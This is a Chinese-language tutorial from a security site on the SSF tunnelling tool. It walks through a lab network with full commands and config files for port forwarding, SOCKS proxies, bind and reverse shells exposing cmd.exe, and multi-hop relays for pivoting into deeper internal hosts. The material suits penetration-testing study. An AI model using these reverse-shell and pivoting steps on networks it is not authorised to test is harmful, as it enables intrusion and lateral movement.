ssf端口转发

华盟原创文章投稿奖励计划

目录
0x01 ssf介绍
0x02 正向tcp端口转发
0x03 反向tcp端口转发
0x04 正向socks代理
0x05 反向socks代理
0x06 正向反弹shell
0x07 反向反弹shell
0x08 文件上传下载
0x09 中继功能进行多层内网

注:
边界机器 win08 192.168.222.175
一层内网 win7 192.168.222.137
二层内网 Ubuntu 192.168.222.177

0x01 ssf介绍
ssf全称Secure Socket Funneling,官网对其的介绍如下:It provides simple and efficient ways to forward data from multiple sockets (TCP or UDP) through a single secure TLS link to a remote computer. 
下面这张动图就很清楚的解释了它的工作流程
ssf端口转发

更多的介绍请移步官网来进行查看。
官网:https://securesocketfunneling.github.io/ssf/
其各种版本的都是支持的,是一个全平台的加密隧道的端口转发工具
ssf端口转发

这里我们使用WindowsX64的来进行
ssf端口转发
ssf是客户端,ssfd是服务端,ssfcp是用域文件传输的,前面带upx的是进行upx压缩过的,功能跟前面的都是一样的,certs中是使用时候需要的证书,如果想单独进行使用的时候,一定要把要使用的文件和certs文件夹一起上传到同一个目录下。

0x02 正向tcp端口转发
从边界机器将流量通过一层内网的转发到达二层内网
首先在一层内网使用服务端执行命令,监听本地1080端口

upx-ssfd.exe -p 1080

ssf端口转发

然后回到边界机器运行客户端
这里在本地的1081端口和一层内网的1080端口建立一个通道,然后将流量传到二层内网的22端口

upx-ssf.exe -L 1081:192.168.222.177:22 -p 1080 192.168.222.137

ssf端口转发

然后就是连接的时候了,这里还有一个坑,这里的监听是127.0.0.1,我们默认只能从本地来进行连接内网,如果想从自己电脑来进行访问的话,就需要自己再进行其他的端口转发操作了
ssf端口转发

所以在边界机器上来进行连接
ssf端口转发
ssf端口转发

0x03 反向tcp端口转发
首先在边界机器上运行服务端执行

upx-ssfd.exe -p 1080

ssf端口转发

然后回到一层内网运行客户端执行命令

upx-ssf.exe -R 1081:192.168.222.177:22 -p 1080 192.168.222.175

ssf端口转发

这里还是跟正向有一样的坑
ssf端口转发

然后在边界机器来连接ssh
ssf端口转发
ssf端口转发

0x04 正向socks代理
其实搞明白tcp的转发,socks的就很简单了
首先在边界服务器运行服务端

upx-ssfd.exe -p 1080

ssf端口转发

然后回到我们本地来执行客户端

upx-ssf.exe -D 1081 -p 1080 192.168.222.175

ssf端口转发

然后在本地进行设置即可
ssf端口转发

0x05 反向socks代理
反向跟正向就基本一样了

在本地执行服务端

upx-ssfd.exe -p 1080

ssf端口转发

然后到边界机器执行客户端
10.1.61.144是我本地的IP

upx-ssf.exe -F 1081 -p 1080 10.1.61.144

ssf端口转发

0x06 正向反弹shell
这里我们来反弹边界主机的shell
这里我们使用它的 -c 参数,来加载自定义的配置文件
ssf端口转发

其中config.json的内容为

{
  "ssf": {
            "services": {
                              "shell": {
                                        "enable": true,
                                         "path": "C:\Windows\System32\cmd.exe",
                                        "args": ""
                             }
                   }
         }
 }

各版本的也是有一定的不同的,这里我们参考官网给出的来写

ssf端口转发
这里我是指名了要调用cmd,如果想调用powershell填写对应的路径就可以了
当然如果你是Linux的,就调用对应的shell就可以了
ssf端口转发

言归正传,我们接下来回到本地来执行,这里所调用的 config.json 与上面的是一致的
-X 是指 bind shell

ssf.exe -X 1081 192.168.222.175 -c config.json -p 1080

ssf端口转发

然后我们在本地执行nc连接就可以了

nc.exe 127.0.0.1 1081

ssf端口转发

0x07 反向反弹shell
这里我们用的config.json跟正向反弹是一样的
首先我们在本地运行服务端

ssfd.exe -p 1080 -c config.json

ssf端口转发

然后回到边界主机运行客户端
10.1.135.96是我本地的IP,-Y 是指reverse shell

ssf.exe -Y 1081 10.1.135.96 -p 1080 -c config.json

ssf端口转发

然后回到本地nc连接就可以了
ssf端口转发

0x08 文件上传下载
文件的上传和下载这里就不多说了,官网上有详细的步骤,我们也就不废话了,值得注意的是,ssfcp是支持跨平台传输的,可以应用在Windows和Linux之间的文件传输
ssf端口转发

0x09 中继功能进行多层内网
这个可以应用在多层内网的时候,它的流程是这个样子的
ssf端口转发

我们只需要改动以下config.json的内容就可以搞定了,然后通过中继就可以照样进行前面所提到的所有的操作
注:只需要把中间主机的IP和端口加上就可以了,开头和结尾的主机是不需要添加的

这里我们将Ubuntu主机去掉,换成win03主机,其IP是192.168.222.150,由于win03是32位的,所以这里我们下载32位的ssf
这次我们要从本地的主机到达最里面的win03主机

首先在最终要到达的主机上运行服务端

ssfd.exe -p 1080 -c config.json

ssf端口转发

其中config.json的内容为

{
    "ssf": {
    "circuit": [
     {"host": "192.168.222.175", "port":"1080"},
     {"host": "192.168.222.137", "port":"1080"}
      ],
               "services": {
                    "shell": {
                          "enable": true,
                          "path": "C:\Windows\System32\cmd.exe",
                          "args": ""
                      }
              }
       }
}

然后去win08和win7上执行监听
ssfd.exe -p 1080 -c config.jsonwin7:

ssf端口转发
win08:

ssf端口转发

然后到本地来运行客户端

ssf.exe -c config.json -p 1080 192.168.222.150 -X 1081

ssf端口转发

然后在本地nc连接就可以了

nc.exe 127.0.0.1 1081

ssf端口转发

最后再配一个比较全的config.json,以后自己去参考

{
   "ssf": {
      "arguments": "",
      "circuit": [],
      "tls" : {
         "ca_cert_path": "./certs/trusted/ca.crt",
         "cert_path": "./certs/certificate.crt",
         "key_path": "./certs/private.key",
         "key_password": "",
         "dh_path": "./certs/dh4096.pem",
         "cipher_alg": "DHE-RSA-AES256-GCM-SHA384"
        },
         "http_proxy" : {"host": "",
         "port": "",
         "user_agent": "",
         "credentials": {"username": "",
         "password": "",
         "domain": "",
         "reuse_ntlm": "true",
         "reuse_nego": "true"
           }
       },
         "services": {
             "datagram_forwarder": { "enable": true },
             "datagram_listener": {
             "enable": true,
             "gateway_ports": false
       },
         "stream_forwarder": { "enable": true },
         "stream_listener": {
         "enable": true,
         "gateway_ports": false
       },
         "copy": { "enable": false },
         "shell": {
             "enable": false,
             "path": "/bin/bash|C:\windows\system32\cmd.exe",
             "args": ""
        },
          "socks": { "enable": true }
       }
    }
}

注:以上参数的含义如下

ssf端口转发

文章作者:无心

本文原创,作者:张,其版权均为华盟网所有。如需转载,请注明出处:https://www.77169.net/html/235999.html

发表回复